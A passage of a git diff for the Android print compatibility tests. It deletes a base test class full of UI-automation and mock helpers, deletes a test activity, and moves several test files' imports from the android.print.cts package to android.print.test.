-        } catch (UiObjectNotFoundException e) {
-            dumpWindowHierarchy();
-            throw e;
-        }
-    }
-
-    void changeMediaSize(String mediaSize) throws UiObjectNotFoundException, IOException {
-        try {
-            UiDevice uiDevice = getUiDevice();
-            UiObject mediaSizeSpinner = uiDevice.findObject(new UiSelector().resourceId(
-                    "com.android.printspooler:id/paper_size_spinner"));
-            mediaSizeSpinner.click();
-            UiObject mediaSizeOption = uiDevice.findObject(new UiSelector().text(mediaSize));
-            mediaSizeOption.click();
-        } catch (UiObjectNotFoundException e) {
-            dumpWindowHierarchy();
-            throw e;
-        }
-    }
-
-    void changeColor(String color) throws UiObjectNotFoundException, IOException {
-        try {
-            UiDevice uiDevice = getUiDevice();
-            UiObject colorSpinner = uiDevice.findObject(new UiSelector().resourceId(
-                    "com.android.printspooler:id/color_spinner"));
-            colorSpinner.click();
-            UiObject colorOption = uiDevice.findObject(new UiSelector().text(color));
-            colorOption.click();
-        } catch (UiObjectNotFoundException e) {
-            dumpWindowHierarchy();
-            throw e;
-        }
-    }
-
-    protected String getColor() throws UiObjectNotFoundException, IOException {
-        try {
-            UiObject colorSpinner = getUiDevice().findObject(new UiSelector().resourceId(
-                    "com.android.printspooler:id/color_spinner"));
-            return colorSpinner.getText();
-        } catch (UiObjectNotFoundException e) {
-            dumpWindowHierarchy();
-            throw e;
-        }
-    }
-
-    void changeDuplex(String duplex) throws UiObjectNotFoundException, IOException {
-        try {
-            UiDevice uiDevice = getUiDevice();
-            UiObject duplexSpinner = uiDevice.findObject(new UiSelector().resourceId(
-                    "com.android.printspooler:id/duplex_spinner"));
-            duplexSpinner.click();
-            UiObject duplexOption = uiDevice.findObject(new UiSelector().text(duplex));
-            duplexOption.click();
-        } catch (UiObjectNotFoundException e) {
-            dumpWindowHierarchy();
-            throw e;
-        }
-    }
-
-    void changeCopies(int newCopies) throws UiObjectNotFoundException, IOException {
-        try {
-            UiObject copies = getUiDevice().findObject(new UiSelector().resourceId(
-                    "com.android.printspooler:id/copies_edittext"));
-            copies.setText(Integer.valueOf(newCopies).toString());
-        } catch (UiObjectNotFoundException e) {
-            dumpWindowHierarchy();
-            throw e;
-        }
-    }
-
-    protected String getCopies() throws UiObjectNotFoundException, IOException {
-        try {
-            UiObject copies = getUiDevice().findObject(new UiSelector().resourceId(
-                    "com.android.printspooler:id/copies_edittext"));
-            return copies.getText();
-        } catch (UiObjectNotFoundException e) {
-            dumpWindowHierarchy();
-            throw e;
-        }
-    }
-
-    void assertNoPrintButton() throws UiObjectNotFoundException, IOException {
-        assertFalse(getUiDevice().hasObject(By.res("com.android.printspooler:id/print_button")));
-    }
-
-    void clickPrintButton() throws UiObjectNotFoundException, IOException {
-        try {
-            UiObject printButton = getUiDevice().findObject(new UiSelector().resourceId(
-                    "com.android.printspooler:id/print_button"));
-            printButton.click();
-        } catch (UiObjectNotFoundException e) {
-            dumpWindowHierarchy();
-            throw e;
-        }
-    }
-
-    void clickRetryButton() throws UiObjectNotFoundException, IOException {
-        try {
-            UiObject retryButton = getUiDevice().findObject(new UiSelector().resourceId(
-                    "com.android.printspooler:id/action_button"));
-            retryButton.click();
-        } catch (UiObjectNotFoundException e) {
-            dumpWindowHierarchy();
-            throw e;
-        }
-    }
-
-    void dumpWindowHierarchy() throws IOException {
-        ByteArrayOutputStream os = new ByteArrayOutputStream();
-        getUiDevice().dumpWindowHierarchy(os);
-
-        Log.w(LOG_TAG, "Window hierarchy:");
-        for (String line : os.toString("UTF-8").split("\n")) {
-            Log.w(LOG_TAG, line);
-        }
-    }
-
-    protected PrintDocumentActivity getActivity() {
-        return mActivity;
-    }
-
-    protected void createActivity() {
-        Log.d(LOG_TAG, "createActivity()");
-
-        int createBefore = getActivityCreateCallbackCallCount();
-
-        Intent intent = new Intent(Intent.ACTION_MAIN);
-        intent.putExtra(TEST_ID, mTestId);
-
-        Instrumentation instrumentation = getInstrumentation();
-        intent.setClassName(instrumentation.getTargetContext().getPackageName(),
-                PrintDocumentActivity.class.getName());
-        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-        instrumentation.startActivitySync(intent);
-
-        waitForActivityCreateCallbackCalled(createBefore + 1);
-    }
-
-    void openPrintOptions() throws UiObjectNotFoundException {
-        UiObject expandHandle = getUiDevice().findObject(new UiSelector().resourceId(
-                "com.android.printspooler:id/expand_collapse_handle"));
-        expandHandle.click();
-    }
-
-    void openCustomPrintOptions() throws UiObjectNotFoundException {
-        UiObject expandHandle = getUiDevice().findObject(new UiSelector().resourceId(
-                "com.android.printspooler:id/more_options_button"));
-        expandHandle.click();
-    }
-
-    static void clearPrintSpoolerData() throws Exception {
-        if (getInstrumentation().getContext().getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_PRINTING)) {
-            assertTrue("failed to clear print spooler data",
-                    SystemUtil.runShellCommand(getInstrumentation(), String.format(
-                            "pm clear --user %d %s", CURRENT_USER_ID, PRINT_SPOOLER_PACKAGE_NAME))
-                            .contains(PM_CLEAR_SUCCESS_OUTPUT));
-        }
-    }
-
-    void verifyLayoutCall(InOrder inOrder, PrintDocumentAdapter mock,
-            PrintAttributes oldAttributes, PrintAttributes newAttributes,
-            final boolean forPreview) {
-        inOrder.verify(mock).onLayout(eq(oldAttributes), eq(newAttributes),
-                any(CancellationSignal.class), any(LayoutResultCallback.class), argThat(
-                        new BaseMatcher<Bundle>() {
-                            @Override
-                            public boolean matches(Object item) {
-                                Bundle bundle = (Bundle) item;
-                                return forPreview == bundle.getBoolean(
-                                        PrintDocumentAdapter.EXTRA_PRINT_PREVIEW);
-                            }
-
-                            @Override
-                            public void describeTo(Description description) {
-                                /* do nothing */
-                            }
-                        }));
-    }
-
-    PrintDocumentAdapter createMockPrintDocumentAdapter(Answer<Void> layoutAnswer,
-            Answer<Void> writeAnswer, Answer<Void> finishAnswer) {
-        // Create a mock print adapter.
-        PrintDocumentAdapter adapter = mock(PrintDocumentAdapter.class);
-        if (layoutAnswer != null) {
-            doAnswer(layoutAnswer).when(adapter).onLayout(any(PrintAttributes.class),
-                    any(PrintAttributes.class), any(CancellationSignal.class),
-                    any(LayoutResultCallback.class), any(Bundle.class));
-        }
-        if (writeAnswer != null) {
-            doAnswer(writeAnswer).when(adapter).onWrite(any(PageRange[].class),
-                    any(ParcelFileDescriptor.class), any(CancellationSignal.class),
-                    any(WriteResultCallback.class));
-        }
-        if (finishAnswer != null) {
-            doAnswer(finishAnswer).when(adapter).onFinish();
-        }
-        return adapter;
-    }
-
-    /**
-     * Create a mock {@link PrintDocumentAdapter} that provides one empty page.
-     *
-     * @return The mock adapter
-     */
-    @NonNull PrintDocumentAdapter createDefaultPrintDocumentAdapter(int numPages) {
-        final PrintAttributes[] printAttributes = new PrintAttributes[1];
-
-        return createMockPrintDocumentAdapter(
-                invocation -> {
-                    PrintAttributes oldAttributes = (PrintAttributes) invocation.getArguments()[0];
-                    printAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
-                    PrintDocumentAdapter.LayoutResultCallback callback =
-                            (PrintDocumentAdapter.LayoutResultCallback) invocation
-                                    .getArguments()[3];
-
-                    callback.onLayoutFinished(new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
-                            .setPageCount(numPages).build(),
-                            !oldAttributes.equals(printAttributes[0]));
-
-                    oldAttributes = printAttributes[0];
-
-                    onLayoutCalled();
-                    return null;
-                }, invocation -> {
-                    Object[] args = invocation.getArguments();
-                    PageRange[] pages = (PageRange[]) args[0];
-                    ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
-                    PrintDocumentAdapter.WriteResultCallback callback =
-                            (PrintDocumentAdapter.WriteResultCallback) args[3];
-
-                    writeBlankPages(printAttributes[0], fd, pages[0].getStart(), pages[0].getEnd());
-                    fd.close();
-                    callback.onWriteFinished(pages);
-
-                    onWriteCalled();
-                    return null;
-                }, invocation -> {
-                    onFinishCalled();
-                    return null;
-                });
-    }
-
-    @SuppressWarnings("unchecked")
-    protected static PrinterDiscoverySessionCallbacks createMockPrinterDiscoverySessionCallbacks(
-            Answer<Void> onStartPrinterDiscovery, Answer<Void> onStopPrinterDiscovery,
-            Answer<Void> onValidatePrinters, Answer<Void> onStartPrinterStateTracking,
-            Answer<Void> onRequestCustomPrinterIcon, Answer<Void> onStopPrinterStateTracking,
-            Answer<Void> onDestroy) {
-        PrinterDiscoverySessionCallbacks callbacks = mock(PrinterDiscoverySessionCallbacks.class);
-
-        doCallRealMethod().when(callbacks).setSession(any(StubbablePrinterDiscoverySession.class));
-        when(callbacks.getSession()).thenCallRealMethod();
-
-        if (onStartPrinterDiscovery != null) {
-            doAnswer(onStartPrinterDiscovery).when(callbacks).onStartPrinterDiscovery(
-                    any(List.class));
-        }
-        if (onStopPrinterDiscovery != null) {
-            doAnswer(onStopPrinterDiscovery).when(callbacks).onStopPrinterDiscovery();
-        }
-        if (onValidatePrinters != null) {
-            doAnswer(onValidatePrinters).when(callbacks).onValidatePrinters(
-                    any(List.class));
-        }
-        if (onStartPrinterStateTracking != null) {
-            doAnswer(onStartPrinterStateTracking).when(callbacks).onStartPrinterStateTracking(
-                    any(PrinterId.class));
-        }
-        if (onRequestCustomPrinterIcon != null) {
-            doAnswer(onRequestCustomPrinterIcon).when(callbacks).onRequestCustomPrinterIcon(
-                    any(PrinterId.class), any(CancellationSignal.class),
-                    any(CustomPrinterIconCallback.class));
-        }
-        if (onStopPrinterStateTracking != null) {
-            doAnswer(onStopPrinterStateTracking).when(callbacks).onStopPrinterStateTracking(
-                    any(PrinterId.class));
-        }
-        if (onDestroy != null) {
-            doAnswer(onDestroy).when(callbacks).onDestroy();
-        }
-
-        return callbacks;
-    }
-
-    protected PrintServiceCallbacks createMockPrintServiceCallbacks(
-            Answer<PrinterDiscoverySessionCallbacks> onCreatePrinterDiscoverySessionCallbacks,
-            Answer<Void> onPrintJobQueued, Answer<Void> onRequestCancelPrintJob) {
-        final PrintServiceCallbacks service = mock(PrintServiceCallbacks.class);
-
-        doCallRealMethod().when(service).setService(any(StubbablePrintService.class));
-        when(service.getService()).thenCallRealMethod();
-
-        if (onCreatePrinterDiscoverySessionCallbacks != null) {
-            doAnswer(onCreatePrinterDiscoverySessionCallbacks).when(service)
-                    .onCreatePrinterDiscoverySessionCallbacks();
-        }
-        if (onPrintJobQueued != null) {
-            doAnswer(onPrintJobQueued).when(service).onPrintJobQueued(any(PrintJob.class));
-        }
-        if (onRequestCancelPrintJob != null) {
-            doAnswer(onRequestCancelPrintJob).when(service).onRequestCancelPrintJob(
-                    any(PrintJob.class));
-        }
-
-        return service;
-    }
-
-    protected void writeBlankPages(PrintAttributes constraints, ParcelFileDescriptor output,
-            int fromIndex, int toIndex) throws IOException {
-        PrintedPdfDocument document = new PrintedPdfDocument(getActivity(), constraints);
-        final int pageCount = toIndex - fromIndex + 1;
-        for (int i = 0; i < pageCount; i++) {
-            PdfDocument.Page page = document.startPage(i);
-            document.finishPage(page);
-        }
-        FileOutputStream fos = new FileOutputStream(output.getFileDescriptor());
-        document.writeTo(fos);
-        fos.flush();
-        document.close();
-    }
-
-    protected void selectPages(String pages, int totalPages) throws Exception {
-        UiObject pagesSpinner = getUiDevice().findObject(new UiSelector().resourceId(
-                "com.android.printspooler:id/range_options_spinner"));
-        pagesSpinner.click();
-
-        UiObject rangeOption = getUiDevice().findObject(new UiSelector().textContains(
-                getPrintSpoolerStringOneParam("template_page_range", totalPages)));
-        rangeOption.click();
-
-        UiObject pagesEditText = getUiDevice().findObject(new UiSelector().resourceId(
-                "com.android.printspooler:id/page_range_edittext"));
-        pagesEditText.setText(pages);
-
-        // Hide the keyboard.
-        getUiDevice().pressBack();
-    }
-
-    private static final class CallCounter {
-        private final Object mLock = new Object();
-
-        private int mCallCount;
-
-        public void call() {
-            synchronized (mLock) {
-                mCallCount++;
-                mLock.notifyAll();
-            }
-        }
-
-        int getCallCount() {
-            synchronized (mLock) {
-                return mCallCount;
-            }
-        }
-
-        public void reset() {
-            synchronized (mLock) {
-                mCallCount = 0;
-            }
-        }
-
-        public void waitForCount(int count, long timeoutMillis) throws TimeoutException {
-            synchronized (mLock) {
-                final long startTimeMillis = SystemClock.uptimeMillis();
-                while (mCallCount < count) {
-                    try {
-                        final long elapsedTimeMillis = SystemClock.uptimeMillis() - startTimeMillis;
-                        final long remainingTimeMillis = timeoutMillis - elapsedTimeMillis;
-                        if (remainingTimeMillis <= 0) {
-                            throw new TimeoutException();
-                        }
-                        mLock.wait(timeoutMillis);
-                    } catch (InterruptedException ie) {
-                        /* ignore */
-                    }
-                }
-            }
-        }
-    }
-
-
-    /**
-     * Make {@code printerName} the default printer by adding it to the history of printers by
-     * printing once.
-     *
-     * @param adapter The {@link PrintDocumentAdapter} used
-     * @throws Exception If the printer could not be made default
-     */
-    void makeDefaultPrinter(PrintDocumentAdapter adapter, String printerName)
-            throws Exception {
-        // Perform a full print operation on the printer
-        Log.d(LOG_TAG, "print");
-        print(adapter);
-        Log.d(LOG_TAG, "waitForWriteAdapterCallback");
-        waitForWriteAdapterCallback(1);
-        Log.d(LOG_TAG, "selectPrinter");
-        selectPrinter(printerName);
-        Log.d(LOG_TAG, "clickPrintButton");
-        clickPrintButton();
-        Log.d(LOG_TAG, "answerPrintServicesWarning");
-        answerPrintServicesWarning(true);
-        Log.d(LOG_TAG, "waitForPrinterDiscoverySessionDestroyCallbackCalled");
-        waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
-
-        // Switch to new activity, which should now use the default printer
-        Log.d(LOG_TAG, "getActivity().finish()");
-        getActivity().finish();
-
-        createActivity();
-    }
-
-    /**
-     * Get a string array from the print spooler's resources.
-     *
-     * @param resourceName The name of the array resource
-     * @return The localized string array
-     *
-     * @throws Exception If anything is unexpected
-     */
-    String[] getPrintSpoolerStringArray(String resourceName) throws Exception {
-        PackageManager pm = getActivity().getPackageManager();
-        Resources printSpoolerRes = pm.getResourcesForApplication(PRINTSPOOLER_PACKAGE);
-        int id = printSpoolerRes.getIdentifier(resourceName, "array", PRINTSPOOLER_PACKAGE);
-        return printSpoolerRes.getStringArray(id);
-    }
-
-    /**
-     * Get a string from the print spooler's resources.
-     *
-     * @param resourceName The name of the string resource
-     * @return The localized string
-     *
-     * @throws Exception If anything is unexpected
-     */
-    String getPrintSpoolerString(String resourceName) throws Exception {
-        PackageManager pm = getActivity().getPackageManager();
-        Resources printSpoolerRes = pm.getResourcesForApplication(PRINTSPOOLER_PACKAGE);
-        int id = printSpoolerRes.getIdentifier(resourceName, "string", PRINTSPOOLER_PACKAGE);
-        return printSpoolerRes.getString(id);
-    }
-
-    /**
-     * Get a string with one parameter from the print spooler's resources.
-     *
-     * @param resourceName The name of the string resource
-     * @return The localized string
-     *
-     * @throws Exception If anything is unexpected
-     */
-    String getPrintSpoolerStringOneParam(String resourceName, Object p)
-            throws Exception {
-        PackageManager pm = getActivity().getPackageManager();
-        Resources printSpoolerRes = pm.getResourcesForApplication(PRINTSPOOLER_PACKAGE);
-        int id = printSpoolerRes.getIdentifier(resourceName, "string", PRINTSPOOLER_PACKAGE);
-        return printSpoolerRes.getString(id, p);
-    }
-
-    /**
-     * Get the default media size for the current locale.
-     *
-     * @return The default media size for the current locale
-     *
-     * @throws Exception If anything is unexpected
-     */
-    PrintAttributes.MediaSize getDefaultMediaSize() throws Exception {
-        PackageManager pm = getActivity().getPackageManager();
-        Resources printSpoolerRes = pm.getResourcesForApplication(PRINTSPOOLER_PACKAGE);
-        int defaultMediaSizeResId = printSpoolerRes.getIdentifier("mediasize_default", "string",
-                PRINTSPOOLER_PACKAGE);
-        String defaultMediaSizeName = printSpoolerRes.getString(defaultMediaSizeResId);
-
-        switch (defaultMediaSizeName) {
-            case "NA_LETTER":
-                return PrintAttributes.MediaSize.NA_LETTER;
-            case "JIS_B5":
-                return PrintAttributes.MediaSize.JIS_B5;
-            case "ISO_A4":
-                return PrintAttributes.MediaSize.ISO_A4;
-            default:
-                throw new Exception("Unknown default media size " + defaultMediaSizeName);
-        }
-    }
-
-    /**
-     * Annotation used to signal that a test does not need an activity.
-     */
-    @Retention(RetentionPolicy.RUNTIME)
-    @Target(ElementType.METHOD)
-    @interface NoActivity { }
-
-    /**
-     * Rule that handles the {@link NoActivity} annotation.
-     */
-    private static class ShouldStartActivity implements TestRule {
-        boolean noActivity;
-
-        @Override
-        public Statement apply(Statement base, org.junit.runner.Description description) {
-            for (Annotation annotation : description.getAnnotations()) {
-                if (annotation instanceof NoActivity) {
-                    noActivity = true;
-                    break;
-                }
-            }
-
-            return base;
-        }
-    }
-}
diff --git a/tests/tests/print/src/android/print/cts/ClassParametersTest.java b/tests/tests/print/src/android/print/cts/ClassParametersTest.java
index e0c41ea..a5e5d49 100644
--- a/tests/tests/print/src/android/print/cts/ClassParametersTest.java
+++ b/tests/tests/print/src/android/print/cts/ClassParametersTest.java
@@ -16,17 +16,21 @@
 
 package android.print.cts;
 
+import static android.print.test.Utils.assertException;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
 import android.print.PrintAttributes;
 import android.print.PrintAttributes.MediaSize;
 import android.print.PrintAttributes.Resolution;
 import android.print.PrintDocumentInfo;
 import android.support.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import static android.print.cts.Utils.*;
-import static org.junit.Assert.*;
-
 /**
  * Test that the print attributes can be constructed correctly. This does not test that the
  * attributes have the desired effect when send to the print framework.
diff --git a/tests/tests/print/src/android/print/cts/CustomPrintOptionsTest.java b/tests/tests/print/src/android/print/cts/CustomPrintOptionsTest.java
index eb9806e..3ea14f6 100644
--- a/tests/tests/print/src/android/print/cts/CustomPrintOptionsTest.java
+++ b/tests/tests/print/src/android/print/cts/CustomPrintOptionsTest.java
@@ -16,6 +16,8 @@
 
 package android.print.cts;
 
+import static android.print.test.Utils.eventually;
+
 import android.os.ParcelFileDescriptor;
 import android.print.PageRange;
 import android.print.PrintAttributes;
@@ -30,32 +32,29 @@
 import android.print.PrinterCapabilitiesInfo;
 import android.print.PrinterId;
 import android.print.PrinterInfo;
-import android.print.cts.services.CustomPrintOptionsActivity;
-import android.print.cts.services.FirstPrintService;
-import android.print.cts.services.PrintServiceCallbacks;
-import android.print.cts.services.PrinterDiscoverySessionCallbacks;
-import android.print.cts.services.SecondPrintService;
-import android.print.cts.services.StubbablePrinterDiscoverySession;
+import android.print.test.BasePrintTest;
+import android.print.test.services.CustomPrintOptionsActivity;
+import android.print.test.services.FirstPrintService;
+import android.print.test.services.PrintServiceCallbacks;
+import android.print.test.services.PrinterDiscoverySessionCallbacks;
+import android.print.test.services.SecondPrintService;
+import android.print.test.services.StubbablePrinterDiscoverySession;
 import android.support.test.runner.AndroidJUnit4;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiObject;
-import android.support.test.uiautomator.UiSelector;
 import android.support.test.uiautomator.UiObjectNotFoundException;
+import android.support.test.uiautomator.UiSelector;
 import android.util.Log;
+
 import org.junit.Before;
-import org.junit.BeforeClass;
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import org.mockito.invocation.InvocationOnMock;
-import org.mockito.stubbing.Answer;
 
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.List;
 import java.util.concurrent.TimeoutException;
 
-import static android.print.cts.Utils.eventually;
-
 /**
  * This test verifies changes to the printer capabilities are applied correctly.
  */
diff --git a/tests/tests/print/src/android/print/cts/InterfaceForAppsTest.java b/tests/tests/print/src/android/print/cts/InterfaceForAppsTest.java
index 37eab57..da7e82d 100644
--- a/tests/tests/print/src/android/print/cts/InterfaceForAppsTest.java
+++ b/tests/tests/print/src/android/print/cts/InterfaceForAppsTest.java
@@ -16,6 +16,14 @@
 
 package android.print.cts;
 
+import static android.print.test.Utils.eventually;
+import static android.print.test.Utils.getPrintJob;
+import static android.print.test.Utils.getPrintManager;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
 import android.print.PrintAttributes;
 import android.print.PrintDocumentAdapter;
 import android.print.PrintJob;
@@ -23,23 +31,22 @@
 import android.print.PrinterCapabilitiesInfo;
 import android.print.PrinterId;
 import android.print.PrinterInfo;
-import android.print.cts.services.FirstPrintService;
-import android.print.cts.services.PrintServiceCallbacks;
-import android.print.cts.services.PrinterDiscoverySessionCallbacks;
-import android.print.cts.services.SecondPrintService;
-import android.print.cts.services.StubbablePrinterDiscoverySession;
+import android.print.test.BasePrintTest;
+import android.print.test.services.FirstPrintService;
+import android.print.test.services.PrintServiceCallbacks;
+import android.print.test.services.PrinterDiscoverySessionCallbacks;
+import android.print.test.services.SecondPrintService;
+import android.print.test.services.StubbablePrinterDiscoverySession;
 import android.support.annotation.NonNull;
 import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 import java.util.ArrayList;
 
-import static android.print.cts.Utils.*;
-import static org.junit.Assert.*;
-
 /**
  * Test interface from the application to the print service.
  */
diff --git a/tests/tests/print/src/android/print/cts/PageRangeAdjustAndVerify.java b/tests/tests/print/src/android/print/cts/PageRangeAdjustAndVerify.java
index f128bab..c4fd77e 100644
--- a/tests/tests/print/src/android/print/cts/PageRangeAdjustAndVerify.java
+++ b/tests/tests/print/src/android/print/cts/PageRangeAdjustAndVerify.java
@@ -36,12 +36,13 @@
 import android.print.PrinterCapabilitiesInfo;
 import android.print.PrinterId;
 import android.print.PrinterInfo;
-import android.print.cts.services.FirstPrintService;
-import android.print.cts.services.PrintServiceCallbacks;
-import android.print.cts.services.PrinterDiscoverySessionCallbacks;
-import android.print.cts.services.SecondPrintService;
-import android.print.cts.services.StubbablePrinterDiscoverySession;
 import android.print.pdf.PrintedPdfDocument;
+import android.print.test.BasePrintTest;
+import android.print.test.services.FirstPrintService;
+import android.print.test.services.PrintServiceCallbacks;
+import android.print.test.services.PrinterDiscoverySessionCallbacks;
+import android.print.test.services.SecondPrintService;
+import android.print.test.services.StubbablePrinterDiscoverySession;
 import android.printservice.PrintJob;
 import android.printservice.PrintService;
 import android.support.annotation.NonNull;
diff --git a/tests/tests/print/src/android/print/cts/PageRangeAdjustmentTest.java b/tests/tests/print/src/android/print/cts/PageRangeAdjustmentTest.java
index 0364624..c1abafc 100644
--- a/tests/tests/print/src/android/print/cts/PageRangeAdjustmentTest.java
+++ b/tests/tests/print/src/android/print/cts/PageRangeAdjustmentTest.java
@@ -16,7 +16,8 @@
 
 package android.print.cts;
 
-import static org.junit.Assert.*;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
 import static org.mockito.Matchers.any;
 import static org.mockito.Mockito.inOrder;
 import static org.mockito.Mockito.never;
@@ -35,15 +36,16 @@
 import android.print.PrinterCapabilitiesInfo;
 import android.print.PrinterId;
 import android.print.PrinterInfo;
-import android.print.cts.services.FirstPrintService;
-import android.print.cts.services.PrintServiceCallbacks;
-import android.print.cts.services.PrinterDiscoverySessionCallbacks;
-import android.print.cts.services.SecondPrintService;
-import android.print.cts.services.StubbablePrinterDiscoverySession;
+import android.print.test.BasePrintTest;
+import android.print.test.services.FirstPrintService;
+import android.print.test.services.PrintServiceCallbacks;
+import android.print.test.services.PrinterDiscoverySessionCallbacks;
+import android.print.test.services.SecondPrintService;
+import android.print.test.services.StubbablePrinterDiscoverySession;
 import android.printservice.PrintJob;
 import android.printservice.PrintService;
-
 import android.support.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/print/src/android/print/cts/PrintAttributesTest.java b/tests/tests/print/src/android/print/cts/PrintAttributesTest.java
index e6bc164..7661ff9 100644
--- a/tests/tests/print/src/android/print/cts/PrintAttributesTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintAttributesTest.java
@@ -16,6 +16,8 @@
 
 package android.print.cts;
 
+import static org.junit.Assert.assertEquals;
+
 import android.os.ParcelFileDescriptor;
 import android.print.PageRange;
 import android.print.PrintAttributes;
@@ -29,15 +31,16 @@
 import android.print.PrinterCapabilitiesInfo;
 import android.print.PrinterId;
 import android.print.PrinterInfo;
-import android.print.cts.services.FirstPrintService;
-import android.print.cts.services.PrintServiceCallbacks;
-import android.print.cts.services.PrinterDiscoverySessionCallbacks;
-import android.print.cts.services.SecondPrintService;
-import android.print.cts.services.StubbablePrinterDiscoverySession;
+import android.print.test.BasePrintTest;
+import android.print.test.services.FirstPrintService;
+import android.print.test.services.PrintServiceCallbacks;
+import android.print.test.services.PrinterDiscoverySessionCallbacks;
+import android.print.test.services.SecondPrintService;
+import android.print.test.services.StubbablePrinterDiscoverySession;
 import android.printservice.PrintJob;
-
 import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -46,8 +49,6 @@
 import java.util.Arrays;
 import java.util.List;
 
-import static org.junit.Assert.*;
-
 /**
  * Test that the print attributes are correctly propagated through the print framework
  */
diff --git a/tests/tests/print/src/android/print/cts/PrintDocumentActivity.java b/tests/tests/print/src/android/print/cts/PrintDocumentActivity.java
deleted file mode 100644
index c3e6e96..0000000
--- a/tests/tests/print/src/android/print/cts/PrintDocumentActivity.java
+++ /dev/null
@@ -1,53 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.print.cts;
-
-import android.app.Activity;
-import android.app.KeyguardManager;
-import android.os.Bundle;
-import android.util.Log;
-import android.view.WindowManager;
-
-public class PrintDocumentActivity extends Activity {
-    private static final String LOG_TAG = "PrintDocumentActivity";
-    int mTestId;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        mTestId = getIntent().getIntExtra(BasePrintTest.TEST_ID, -1);
-        Log.d(LOG_TAG, "onCreate() " + this + " for " + mTestId);
-
-        getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
-                | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
-
-        KeyguardManager km = getSystemService(KeyguardManager.class);
-        if (km != null) {
-            km.requestDismissKeyguard(this, null);
-        }
-
-        BasePrintTest.onActivityCreateCalled(mTestId, this);
-    }
-
-    @Override
-    protected void onDestroy() {
-        Log.d(LOG_TAG, "onDestroy() " + this);
-        BasePrintTest.onActivityDestroyCalled(mTestId);
-        super.onDestroy();
-    }
-}
diff --git a/tests/tests/print/src/android/print/cts/PrintDocumentAdapterContractTest.java b/tests/tests/print/src/android/print/cts/PrintDocumentAdapterContractTest.java
index 38ba4dd..4851ba9 100644
--- a/tests/tests/print/src/android/print/cts/PrintDocumentAdapterContractTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintDocumentAdapterContractTest.java
@@ -36,11 +36,12 @@
 import android.print.PrinterCapabilitiesInfo;
 import android.print.PrinterId;
 import android.print.PrinterInfo;
-import android.print.cts.services.FirstPrintService;
-import android.print.cts.services.PrintServiceCallbacks;
-import android.print.cts.services.PrinterDiscoverySessionCallbacks;
-import android.print.cts.services.SecondPrintService;
-import android.print.cts.services.StubbablePrinterDiscoverySession;
+import android.print.test.BasePrintTest;
+import android.print.test.services.FirstPrintService;
+import android.print.test.services.PrintServiceCallbacks;
+import android.print.test.services.PrinterDiscoverySessionCallbacks;
+import android.print.test.services.SecondPrintService;
+import android.print.test.services.StubbablePrinterDiscoverySession;
 import android.printservice.PrintJob;
 import android.printservice.PrintService;
 import android.support.test.runner.AndroidJUnit4;
diff --git a/tests/tests/print/src/android/print/cts/PrintDocumentInfoTest.java b/tests/tests/print/src/android/print/cts/PrintDocumentInfoTest.java
index a9d03c9..63e83e3 100644
--- a/tests/tests/print/src/android/print/cts/PrintDocumentInfoTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintDocumentInfoTest.java
@@ -16,6 +16,11 @@
 
 package android.print.cts;
 
+import static android.print.test.Utils.eventually;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
 import android.os.ParcelFileDescriptor;
 import android.print.PageRange;
 import android.print.PrintAttributes;
@@ -29,14 +34,16 @@
 import android.print.PrinterCapabilitiesInfo;
 import android.print.PrinterId;
 import android.print.PrinterInfo;
-import android.print.cts.services.FirstPrintService;
-import android.print.cts.services.PrintServiceCallbacks;
-import android.print.cts.services.PrinterDiscoverySessionCallbacks;
-import android.print.cts.services.SecondPrintService;
-import android.print.cts.services.StubbablePrinterDiscoverySession;
+import android.print.test.BasePrintTest;
+import android.print.test.services.FirstPrintService;
+import android.print.test.services.PrintServiceCallbacks;
+import android.print.test.services.PrinterDiscoverySessionCallbacks;
+import android.print.test.services.SecondPrintService;
+import android.print.test.services.StubbablePrinterDiscoverySession;
 import android.printservice.PrintJob;
 import android.printservice.PrintService;
 import android.support.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -45,16 +52,12 @@
 import java.util.ArrayList;
 import java.util.List;
 
-import static android.print.cts.Utils.eventually;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertTrue;
-
 /**
  * This test verifies that the system respects the {@link PrintDocumentAdapter}
  * contract and invokes all callbacks as expected.
  */
 @RunWith(AndroidJUnit4.class)
